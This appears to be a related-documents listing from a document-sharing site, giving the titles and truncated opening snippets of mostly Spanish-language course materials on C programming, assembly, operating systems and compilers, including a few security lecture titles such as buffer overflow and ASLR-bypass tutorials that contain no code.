Tema 2. TEMA 2. LENGUAJE C. CONCEPTOS BÁSICOS Y PROGRAMACIÓN ELEMENTAL. PARTE : VARIABLES, OPERADORES Y CONSTANTES.. INTRODUCCIÓN AL LENGUAJE C 2. PROGRAMAS BÁSICOS EN LENGUAJE C 3. DATOS EN LENGUAJE C
Programación en C. Algoritmo y Estructura de Datos. Ing. M. Laura López. Programación en C
Algoritmo y Estructura de Datos Ing. M. Laura López 1 Estructura de un programa en C 2 Estructura de un programa en C #include Archivos de cabecera # define Definición de constantes Declaraciones Globales
Examen Final de Teoría. Grupo de teoría:
Preguntas Cortas (2 puntos) 1. Respecto a la optimización de gestión de memoria CoW, explica brevemente: a. Qué soporte hardware utiliza el sistema para poder implementarla? b. Qué permisos aplica el sistema
Tema: Lenguaje ensamblador embebido
Compiladores. Guía 10 1 Facultad: Ingeniería Escuela: Computación Asignatura: Compiladores Tema: Lenguaje ensamblador embebido Contenido En esta guía se presenta una breve introducción a las estructuras
Introducción a Java. Dr. (c) Noé Alejandro Castro Sánchez
Introducción a Java Dr. (c) Noé Alejandro Castro Sánchez Programas Java Applets Pueden correr en navegadores Web Agregan funcionalidad a páginas Web Se llega a restringir su funcionalidad (e. g., no pueden:
Informática Ingeniería en Electrónica y Automática Industrial
Informática Ingeniería en Electrónica y Automática Industrial Entrada y salida estándar V1.3 Autores Entrada y salida estándar Entradas y salidas Salida con formato: printf() Entrada de datos con formato:
Sistemas Complejos en Máquinas Paralelas
Sistemas Complejos en Máquinas Paralelas Clase 1: OpenMP Francisco García Eijó Departamento de Computación - FCEyN UBA 15 de Mayo del 2012 Memoria compartida Las mas conocidas son las máquinas tipo Symmetric
Taller de programación shell
Taller de programación shell 3 de Abril de 2004 revisión 1 Asociación de Usuarios de Software Libre de Elche http://www.kleenux.org/ Introducción: Qué es un shell? Es una parte fundamental de todo sistema
Arquitectura de Computadores II Clase #3
Arquitectura de Computadores II Clase #3 Facultad de Ingeniería Universidad de la República Instituto de Computación Curso 2010 Veremos Registros Repertorio de instrucciones Modos de direccionamiento El
Archivos & Cadenas CURSO DE PROGRAMACIÓN EN C. Centro de Investigación y de Estudios Avanzados del IPN. CINVESTAV - Tamaulipas.
Archivos & Cadenas CURSO DE PROGRAMACIÓN EN C Centro de Investigación y de Estudios Avanzados del IPN. CINVESTAV - Tamaulipas. Febrero 2016 [Curso de programación en C] - Archivos & Cadenas 1/17 Archivos
Tipos de variables. Lenguaje C. Departamento de Electrónica. Tipos de datos, variables y constantes. Fundación San Valero
Lenguaje C Tipos de variables Departamento de Electrónica Fundación San Valero Tipos de datos, Cinco tipos de datos básicos: Carácter (char): 8 bits -128 a 127. Entero (int): 32 bits -2.147.483.648 a 2.147.483.647.
PROGRAMACION ESTRUCTURADA: Tema 1. El lenguaje de programación C
PROGRAMACION ESTRUCTURADA: Tema 1. El lenguaje de programación C Presenta: David Martínez Torres Universidad Tecnológica de la Mixteca Instituto de Computación Oficina No. 37 dtorres@mixteco.utm.mx Contenido
Operaciones de E/S en ANSI C
Operaciones de E/S en ANSI C Las operaciones de entrada/salida estándar (realizadas habitualmente con printf y scanf) se realizan en realidad sobre ficheros que representan los dispositivos mediante los
Programación segura. Seguridad en los Sistemas Informáticos. Ismael Ripoll. Universidad Politècnica de València. Abril 2011
Programación segura Seguridad en los Sistemas Informáticos Ismael Ripoll Universidad Politècnica de València Abril 2011 Ismael Ripoll (Universidad Politècnica de València) Programación segura Abril 2011
Entrada/Salida (Standard) Clase 6 Introducción a la Computación Patricia Borensztejn
Entrada/Salida (Standard) Clase 6 Introducción a la Computación Patricia Borensztejn Euler 3 The prime factors of 13195 are 5, 7, 13 and 29. What is the largest prime factor of the number 600851475143?
T1-Introducción. Índice
T1-Introducción 1.1 Índice El papel del S.O. Servicios que ofrece el S.O. Formas de acceder al kernel (Tema 8 EC) Modos de ejecución Interrupciones, excepciones y llamadas a sistema Llamadas a sistema
Construyendo Programas más Complejos
Arquitectura de Ordenadores Construcciones de Alto Nivel en Ensamblador Abelardo Pardo abel@it.uc3m.es Universidad Carlos III de Madrid Departamento de Ingeniería Telemática Construyendo Programas más
Laboratorio de Arquitectura de Redes. Entrada y salida estándar
Laboratorio de Arquitectura de Redes Entrada y salida estándar Entrada y salida estándar Entradas y salidas Salida con formato: printf() Entrada de datos con formato: scanf() El buffer de teclado Entrada
Archivos en lenguaje C
Archivos en lenguaje C Los archivos, a diferencia de las estructuras de datos conocidas hasta ahora (variables simples, arreglos) son estructuras de datos almacenadas de manera permanente (discos rígidos,
Lenguaje de Programación: C++, INPUT OUTPUT(Variables)
UG Lenguaje de Programación: C++, INPUT OUTPUT() Universidad de Guanajuato Septiembre 2010 MAIN int main (); // no arguments int main (inl argc, char* argv[]); // arguments arcg: cantidad de parámetros
Objetivo. Introducción. Tema: GENERACION DE CODIGO. Compiladores, Guía 11 1
Compiladores, Guía 11 1 Tema: GENERACION DE CODIGO. Facultad : Ingeniería Escuela :Computación Asignatura:Compiladores Objetivo Reconocer las diferentes instrucciones para la generación de código.ensamblador
Algoritmos y Estructuras de Datos Ingeniería en Informática, Curso 2º SEMINARIO DE C Sesión 1
Algoritmos y Estructuras de Datos Ingeniería en Informática, Curso 2º SEMINARIO DE C Sesión 1 Contenidos: 1. Características generales de C 2. Edición y compilación de un programa C 3. Variables y tipos
PROGRAMACION MODULAR FUNCIONES
PROGRAMACION MODULAR FUNCIONES Ventajas de la programación modular: Aumentar la legibilidad y comprensión del programa Reducir el tiempo de desarrollo, aprovechando módulos ya existentes Permitir la resolución
Usando el Sistema Operativo
Sistemas Operativos Pontificia Universidad Javeriana Enero de 2010 Los sistemas operativos Los sistemas operativos Perspectivas del Computador Concepto general El sistema operativo es parte del software
Programación I Teoría II.
Programación I Teoría II http://proguno.unsl.edu.ar proguno@unsl.edu.ar MODULARIDAD FUNCIONES EN C Modularidad Principio para resolución de problemas: Dividir para reinar Modularidad Módulo Función Procedimiento
Procesos e Hilos en C
Procesos e Hilos en C 6 de febrero de 2012 En esta sesión vamos a escribir programas en lenguaje C que utilicen hilos y procesos para comparar el rendimiento del sistema ante la gestión de unos y otros.
Organización de computadoras. Clase 6. Universidad Nacional de Quilmes. Lic. Martínez Federico
Organización de computadoras Clase 6 Universidad Nacional de Quilmes Lic. Martínez Federico Qué vimos? Pila Push Pop Modularizar Reusar Call y Ret Q5 Qué vimos? JMP y CALL no son lo mismo? NO Qué hay para
CRIPTOGRAFÍA Y SEGURIDAD INFORMÁTICA (66.69) Trabajo Práctico: Buffer Overflow
Universidad de Buenos Aires, Facultad de Ingeniería CRIPTOGRAFÍA Y SEGURIDAD INFORMÁTICA (66.69) Trabajo Práctico: Buffer Overflow Alumnos: Benarós, Pablo 78623 pbenaros@yahoo.es Paván, Adrián 77659 tanistico@gmail.com
Matías Zabaljáuregui
El buffer de la entrada estándar en GNU/Linux Matías Zabaljáuregui (matiasz@info.unlp.edu.ar) http://linux.linti.unlp.edu.ar 0. Introducción Se intentará describir en términos sencillos la forma de tratar
Los números naturales y enteros en el 80X86 y en LAN
Los números naturales y enteros en el 80X86 y en LAN 1. Los números naturales en el 80X86/TASM Representación Sistema de representación En el 80X86 (y en la mayoría de los procesadores), los números naturales
FUNCIONES. Identificador valido. Tipo-Funcion Identificador_de_la_funcion (Tipo par1,tipo par2 )
FUNCIONES Las funciones son el medio básico de que se vale C para construir programas. Un Programa es, básicamente, una colección de funciones entre las que se incluye una especial llamada main(), la función
.: ASM / Shellcoding Series :. II Bypassing local Linux x86 ASLR protection
.: ASM / Shellcoding Series :. II Bypassing local Linux x86 ASLR protection por vlan7 vlan7 [at] overflowedminds [point] net http://www.overflowedminds.net http://zen7.vlan7.org 27-Feb-2011 1 Índice 1.
Lenguajes de programación. Algoritmos y Estructuras de Datos I. Lenguajes compilados. Lenguajes compilados
Lenguajes de programación Algoritmos y Estructuras de Datos I Primer cuatrimestre de 2014 Departamento de Computación - FCEyN - UBA Teórica - clase 3 Introducción a la programación imperativa Las computadoras
TP N 14 Compilando C/C++ bajo GNU/Linux
Taller de GNU/Linux 2003- TP14 - hoja 1/5 Universidad Nacional de La Matanza Ingeniería en Informática-Taller de GNU/Linux 2003 TP N 14 Compilando C/C++ bajo GNU/Linux Objetivos: Utilizar en forma básica
RESEÑA DE LENGUAJE C
RESEÑA DE LENGUAJE C VARIABLES La función main. Es el punto de entrada al programa. void main(void) Aquí escribo mi programa Tipos de datos. Char. El char es una variable de 1 byte. Almacena números enteros.
Caracteres y Cadenas Conversión de Datos Funciones y procedimientos Archivos cabecera. Fundamentos de programación
1 Caracteres y Cadenas Conversión de Datos Funciones y procedimientos Archivos cabecera Fundamentos de programación Agenda Caracteres y Cadenas Conversión de Datos Introducción a las funciones y procedimientos
Programación Estructurada
Programación Estructurada PROGRAMACIÓN ESTRUCTURADA 1 Sesión No. 11 Nombre: Manejo de archivos Contextualización En los lenguajes de programación estructurada como C, que carecían de una conexión a base
Es un lenguaje estructurado, tiene una abundante cantidad de operadores y tipos de datos.
Lenguaje C Un poco de historia C es un lenguaje de propósito general, es decir, se pueden desarrollar aplicaciones de diversas áreas. Dentro de sus principales características podemos mencionar que: Es
Sistemas Operativos Práctica 3
Sistemas Operativos Práctica 3 Ing. Andrés Bustamante afbustamanteg@unal.edu.co Ingeniería de Sistemas Facultad de Ingeniería Universidad de la Amazonia 2009 1. Objetivo El objetivo de la práctica es que
Seguridad hoy en día. Claudio Salazar csalazar@inf.utfsm.cl http://nlc.pinguinux.cl PinguinuX Team
Seguridad hoy en día. Claudio Salazar csalazar@inf.utfsm.cl http://nlc.pinguinux.cl PinguinuX Team (cc) muehlinghaus Un montón de noticias Se filtran datos personales de 6 millones de chilenos vía Internet
Apellidos Nombre DNI
A continuación se muestra el listado de un programa cuyo objetivo es encontrar una palabra dentro de una cadena de caracteres de la sección de datos y copiar dicha palabra en otra zona de la sección de
Sistemas Operativos. Curso 2014 Estructura de los sistemas operativos
Sistemas Operativos Curso 2014 Estructura de los sistemas operativos Agenda Componentes de un sistema operativo. Servicios del sistema operativo (system services). Llamados a sistema (system calls). Estructura
Tutorial de GDB. Algoritmos y Estructuras de Datos II. Algoritmos y Estructuras de Datos II () Tutorial de GDB 1 / 1
Tutorial de GDB Algoritmos y Estructuras de Datos II Algoritmos y Estructuras de Datos II () Tutorial de GDB 1 / 1 Qué es gdb? GNU Debugger Es un depurador para varios lenguajes, incluyendo C y C++. Permite
La Pila en los Procesadores IA-32 e Intel c 64
La Pila en los Procesadores IA-32 e Intel c 64 Alejandro Furfaro Ilustraciones de David Gonzalez Marquez (tnx a lot) Abril 2012 Abril 2012 1 / 44 Agenda 1 Funcionamiento Básico 2 Ejemplos de uso de pila
Programación I Funciones
1 Funciones Iván Cantador 2 Funciones: definición, sintaxis, ejemplos (I) Una funciónes un bloque de sentencias identificado con un nombre que se ejecutan de manera secuencial ofreciendo una funcionalidad
Es la estructura que permite ejecutar los comandos solamente si se cumple una determinada condición. La sintaxis más usual:
Más scripts de Shell Además de las herramientas para manejo de variables que se explicaron anteriormente, el shell nos permite utilizar herramientas para manejo de ciclos y para estructuras condicionales,
Programación imperativa. Algoritmos y Estructuras de Datos I. Ciclos
Programación imperativa Algoritmos y Estructuras de Datos I Segundo cuatrimestre de 2014 Departamento de Computación - FCEyN - UBA Programación imperativa - clase 6 Ciclos y arreglos Entidad fundamental:
Tipos de Datos. Tipos de Datos Simples Estándar
Departamento de Informática Universidad Técnica Federico Santa María Tipos de Datos Programación de Computadores Profesor: Teddy Alfaro Tipos de Datos Simples Estándar char es un carácter (alfanumérico),
TIPOS DE DATOS BASICOS EN LENGUAJE C
TIPOS DE DATOS BASICOS EN LENGUAJE C TIPO char int float double void ANCHO EN BIT 64 0 TIPOS DE DATOS RANGO EN PC -12 a 127 3.4E-3 a 3.4E+3 1.7E-30 a 1.7E+30 sin valores TIPO ANCHO EN BIT RANGO EN PC char
TEMA 2. EL LENGUAJE C. ELEMENTOS BÁSICOS
TEMA 2. EL LENGUAJE C. ELEMENTOS BÁSICOS Una vez que ya sabes crear tus propios programas, vamos a analizar los fundamentos del lenguaje de programación C. Este capítulo incluye además los siguientes temas:
Informática Electrónica Manejadores de Dispositivos (Device Drivers)
Informática Electrónica Manejadores de Dispositivos (Device Drivers) DSI-EIE-FCEIA 2015 Que es un DD? Es una pieza de software que interactúa con (entre) el sistema operativo y con uno o mas dispositivos
Ejercicios sobre tuberías
Boletín 3. Ejercicios sobre tuberías July 14, 016 1. Indica de manera justificada si las siguientes afirmaciones sobre la utilización de tuberías como mecanismo de sincronización entre dos procesos son
.: ASM / Shellcoding Series :. III Bypassing Remote Linux x86 ASLR protection
.: ASM / Shellcoding Series :. III Bypassing Remote Linux x86 ASLR protection por vlan7 vlan7 [at] overflowedminds [point] net http://www.overflowedminds.net http://zen7.vlan7.org 22-Abr-2012 1 Índice
Programación. Test Autoevaluación Tema 3
Programación Test Autoevaluación Tema 3 Autores: M. Paz Sesmero Lorente Paula de Toledo Heras Fco. Javier Ordoñez Morales Juan Gómez Romero José A. Iglesias Martínez José Luis Mira Peidro SOLUCIONES 1.
05 Funciones en lenguaje C. Diego Andrés Alvarez Marín Profesor Asociado Universidad Nacional de Colombia Sede Manizales
05 Funciones en lenguaje C Diego Andrés Alvarez Marín Profesor Asociado Universidad Nacional de Colombia Sede Manizales 1 Temario Programación funcional Declaración (prototipos) y definición de funciones
Introducción a la Computación (Matemática)
Introducción a la Computación (Matemática) Primer Cuatrimestre de 2016 Brevísima Introducción a la Organización de Computadoras 1 Mapa de la materia Programas simples en C++. Especificación de problemas.
Lenguaje C. Lenguaje C. Erwin Meza Vega
Lenguaje C Erwin Meza Vega Outline 1 Introducción 2 Tipos básicos de datos 3 Estructuras de control 4 Funciones 5 Ejemplos de funciones 6 Tipos compuestos de datos 7 Arreglos 8 Apuntadores (punteros) 9
Tema 5. Entrada y Salida
Tema 5 Entrada y Salida Contenidos 1. Conceptos Previos de Entrada y Salida de Datos. 2. Funciones de Salida de Datos. putchar puts printf 3. Funciones de Entrada de Datos. getchar gets scanf 4. Ficheros
Procesadores de 64 bits
Procesadores de 64 bits Técnicas Digitales III Ing. Gustavo Nudelman 2013 Introducción Desarrollada por AMD en 2003 con el modelo Opteron, continuando con el Athlon para ser luego tomado por Intel en los
Por ejemplo, para declarar un arreglo de enteros llamado a con diez elementos se hace de la siguiente forma:
Arreglos unidimensionales y multidimensionales Los arreglos son una colección de variables del mismo tipo que se referencian utilizando un nombre común. Un arreglo consta de posiciones de memoria contigua.
Ejercicios de la sesión 4 de C resueltos
Ejercicios de la sesión 4 de C resueltos 1. Usando el procedimiento del ejercicio 2 del seminario anterior, escribe un programa que multiplique dos matrices A y B leídas de ficheros, la primera de tamaño
Conceptos de Arquitectura de Computadoras Curso 2015
PRACTICA 1 Assembly, Instrucciones, Programas, Subrutinas y Simulador MSX88 Objetivos: que el alumno Domine las instrucciones básicas del lenguaje assembly del MSX88. Utilice los diferentes modos de direccionamiento.
Laboratorio de Diseño de Robots Móviles Practica No. 2 Sistema mínimo del microcontrolador PIC16F877
Laboratorio de Diseño de Robots Móviles Practica No. 2 Sistema mínimo del microcontrolador PIC16F877 Objetivo: Conocer la estructura y características de la tarjeta con un microcontrolador PIC que se dispone
FUNDAMENTOS DE INFORMÁTICA 1º Ingeniería Industrial
FUNDAMENTOS DE INFORMÁTICA 1º PRÁCTICA 1: Introducción al entorno de programación Dev-C++ CURSO 2005/2006 División de Ingeniería de Sistemas y Automática ISA-UMH R-00-FI001v1.0 1. Objetivos Los objetivos
Sistemas Operativos: Programación de Sistemas. Curso 2006-07. Oscar Déniz Suárez Alexis Quesada Arencibia Francisco J.
Tema 2 : entorno programación linux Sistemas Operativos: Programación de Sistemas Oscar Déniz Suárez Alexis Quesada Arencibia Francisco J. Santana Pérez Curso 2006-07 Francisco J. Santana 1 Programación
101 Sombras del Malware. Israel Aráoz Severiche C EH,C HFI,
101 Sombras del Malware Israel Aráoz Severiche C EH,C HFI, LA27001 @iara0z Agenda Situación Actual Objetivo del Análisis de Malware Tipos de Análisis Estático Dinámico Preguntas Nslookup Israel.araoz Ing.
Introducción a C: Variables, Tipos El tipo «int» Clase 3 Introducción a la Computación Patricia Borensztejn
Introducción a C: Variables, Tipos El tipo «int» Clase 3 Introducción a la Computación Patricia Borensztejn Estructura de un programa en C Hello, World Un programa en C consta de funciones y variables.
Examen Teórico (1/3 de la nota final)
Examen Teórico (1/3 de la nota final) 105000016 - Programación para Sistemas Grado en Ingeniería Informática (2009) Lenguajes y Sistemas Informáticos e Ingeniería de Software Facultad de Informática Universidad
Memoria en C++ Punteros - Referencias Clases Y ahora, a trabajar! Memoria Dinámica en C++
Qué es una variable? Variables Memoria Matemática: una etiqueta que representa a un valor en una expresión: f (y) = y 2 + 2y Programación: Nombre simbólico dado a un valor residente en la memoria. Propiedades
Lenguaje de Programación: C++ ARCHIVOS I/O
UG C++ Lenguaje de Programación: C++ ARCHIVOS I/O Universidad de Guanajuato Octubre 2010 Como abrir un archivo Antes de poder escribir datos en un archivo, debemos abrirlo, esto significa que debemos decirle
Tema 13: Manejo de archivos en lenguaje C
Tema 13: Manejo de archivos en lenguaje C M. en C. Edgardo Adrián Franco Martínez http://www.eafranco.com edfrancom@ipn.mx @edfrancom edgardoadrianfrancom Estructuras de datos (Prof. Edgardo A. Franco)
Avanzando un poco, Buffer Overflow con pila no ejecutable: Return into libc Ampliación del artículo sobre Stack-Based Buffer Overflow, by TuXeD
Avanzando un poco, Buffer Overflow con pila no ejecutable: Return into libc Ampliación del artículo sobre Stack-Based Buffer Overflow, by TuXeD Hola de nuevo ;-). Vimos en la revista número 27 qué son
Ejercicios del Tema 3. Fundamentos de la programación en ensamblador
Ejercicios del Tema 3. Fundamentos de la programación en ensamblador Ejercicio 1. Dada la siguiente expresión de un lenguaje de alto nivel int a = 6; int b = 7; int c = 3; int d; d = (a+b) * (a+b); Indique
Taller de Sistemas Operativos. Direccionamiento de Memoria 2012
Taller de Sistemas Operativos Direccionamiento de Memoria 2012 TSO Direccionamiento de Memoria - 2010 Agenda Arquitectura de memoria en x86 (IA-32). Direccionamiento en Linux. Arquitectura de memoria en
TRUCOS con el DDD. // '&' para que la terminal no se quede pillada // si nos olvidamos el &: <Ctrl+Z> fg<intro>
TRUCOS con el DDD Autor: Manel Guerrero Versión: 0.1 Ultima versión en: http://personals.ac.upc.edu/guerrero/fo Fuentes: http://www.gnu.org/software/ddd/manual/html_mono/ddd.html
ESCUELA POLITÉCNICA SUPERIOR PRÁCTICA 2: EXPRESIONES, PRINTF Y SCANF
ESCUELA POLITÉCNICA SUPERIOR GRADO EN DISEÑO IND. INFORMÁTICA CURSO 2012-13 PRÁCTICA 2: EXPRESIONES, PRINTF Y SCANF HASTA AHORA... En prácticas anteriores se ha aprendido: La estructura principal de un
Organización de computadoras. Clase 4. Universidad Nacional de Quilmes. Lic. Martínez Federico
Organización de computadoras Clase 4 Universidad Nacional de Quilmes Lic. Martínez Federico Memoria: Organización Lectura Escritura Direcciones Qué pasó? Qué pasó? Memoria: Organización Lectura Escritura
Threads. Hilos - Lightweight process - Procesos ligeros
Threads Hilos - Lightweight process - Procesos ligeros 1 Temario Concepto y Beneficios Estructuras de implementación: Servidor- Trabajador, Equipo, Pipeline Reconocimiento: En el espacio del usuario /
abril de 2017 Desarrollo de aplicaciones en Java Tipos de datos primitivos Tipos de datos Elementos de aplicaciones simples
Desarrollo de aplicaciones en Java Generación de código fuente Compilación Ejecución Elementos de aplicaciones simples EII147-01-02 Introducción a las tecnologías de información Escuela de Ingeniería Industrial
TUTORIAL: AÑADIR NUEVA FUNCIONALIDAD A UN JUEGO DE NES
TUTORIAL: AÑADIR NUEVA FUNCIONALIDAD A UN JUEGO DE NES Este proceso es un poco complicado y en algunos juegos no se puede realizar. Para el ejemplo, vamos a utilizar el juego Adventures of Dino Riki, The
mov_and_reg =========== En este reto se nos pedía que calculásemos el valor del registro eax al final de la ejecución del siguiente código:
mov_and_reg =========== En este reto se nos pedía que calculásemos el valor del registro eax al final de la ejecución del siguiente código: inicio: mov $1337, %eax mov $31337, %ebx mov $3371, %ecx xor